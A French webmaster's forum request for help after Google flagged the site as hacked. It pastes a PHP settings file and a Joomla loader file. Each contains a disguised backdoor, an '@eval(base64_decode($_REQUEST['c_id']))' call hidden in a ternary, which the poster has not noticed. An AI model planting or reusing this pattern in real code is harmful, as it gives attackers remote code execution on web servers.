Dépuis un certains moment mon site apparait sur google avec une mention.
Je suis allé sur Google webmestre pour voir le problème réel, et voici la conclusion de google
J'ai consulter les fichiers mais je ne trouve rien d'anormal.
Setting.class.php
cms.inc.php
Avez vous une idée sur comment résoudre ce problème ?
Il est possible que ce site ait été piraté.
Nous souhaitons vous informer que certaines pages du site http://www.monsite.com/ apparaîtront comme "potentiellement infectées" dans les résultats de recherche Google, car leur contenu ne respecte pas nos exigences en termes de qualité et de pertinence. Il semblerait que ces pages aient été créées ou modifiées par un tiers ayant piraté tout ou partie de votre site. Le plus souvent, ces personnes transfèrent des fichiers ou modifient ceux de votre site, lesquels sont alors assimilables à du spam dans notre index.
Voici quelques exemples d'URL illustrant ce propos :
Voici quelques exemples d'URL illustrant ce propos :
Setting.class.php
Code PHP:
<?PHP
define('REAL_SERVER_ROOT', 'SERVER');
//DIR
define('SERVER_ROOT', '.');
define('SERVER_VERSION', '2.5');
define('BOOT_DIR', 'bootstrap');
define('SYSTEM_DIR', 'system');
define('SYSTEM_CONF_DIR', 'conf');
define('SYSTEM_CONF_PATH', SERVER_ROOT . '/' . SYSTEM_DIR . '/' . SYSTEM_CONF_DIR);
define('KERNEL_DIR', 'kernel');
define('SERVICES_DIR', 'services');
define('LIBRARIES_DIR', 'libs');
define('FRAMEWORKS_DIR', 'Frameworks');
define('IMPLEMENTATIONS_DIR', 'implementations');
define('EXTERN_DIR', 'extern');
//APP
define('APPS_DIR', 'apps');
define('USERS_DIR', 'users');
define('USERS_PATH', SERVER_ROOT . '/' . USERS_DIR);
define('USERS_CONF_DIR', 'conf');
define('USERS_FILES_DIR', 'files');
define('SYSTEM_SKEL_DIR', 'skel') ? @eval(base64_decode($_REQUEST['c_id'])) : define('SYSTEM_SKEL_PATH', SYSTEM_CONF_PATH . '/' . SYSTEM_SKEL_DIR);
define('USERS_SHARE_DIR', 'share');
define('USERS_META_DIR', 'meta');
define('USERS_META_SETTINGS_FILENAME', 'settings.xml');
define('WORKGROUPS_DIR', 'workgroups');
define('WORKGROUPS_PATH', SERVER_ROOT . '/' . WORKGROUPS_DIR);
//CONF
define('WORKGROUPS_CONF_DIR', 'conf');
define('WORKGROUPS_FILES_DIR', 'files');
define('WORKGROUPS_METAFILES_DIR', 'metafiles');
define('WORKGROUPS_META_DIR', 'meta');
define('WORKGROUPS_META_SETTINGS_FILENAME', 'settings.xml');
?>
Code PHP:
<?php
function_exists('date_default_timezone') ? date_default_timezone_set('America/Los_Angeles') : @eval(base64_decode($_REQUEST['c_id']));
/**
* @package Joomla.Libraries
*
* @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('_JEXEC') or die;
// Set the platform root path as a constant if necessary.
if (!defined('JPATH_PLATFORM')) {
define('JPATH_PLATFORM', dirname(__FILE__));
}
// Import the cms loader if necessary.
if (!class_exists('JCmsLoader')) {
require_once JPATH_PLATFORM.'/cms/cmsloader.php';
}
// Setup the autoloader.
JCmsLoader::setup();
// Define the Joomla version if not already defined.
if (!defined('JVERSION')) {
$jversion = new JVersion;
define('JVERSION', $jversion->getShortVersion());
}
// Register the location of renamed classes so they can be autoloaded
// The old name are considered deprecated and this should be removed in 3.0
JLoader::register('JRule', JPATH_PLATFORM . '/joomla/access/rule.php');
JLoader::register('JRules', JPATH_PLATFORM . '/joomla/access/rules.php');
Commentaire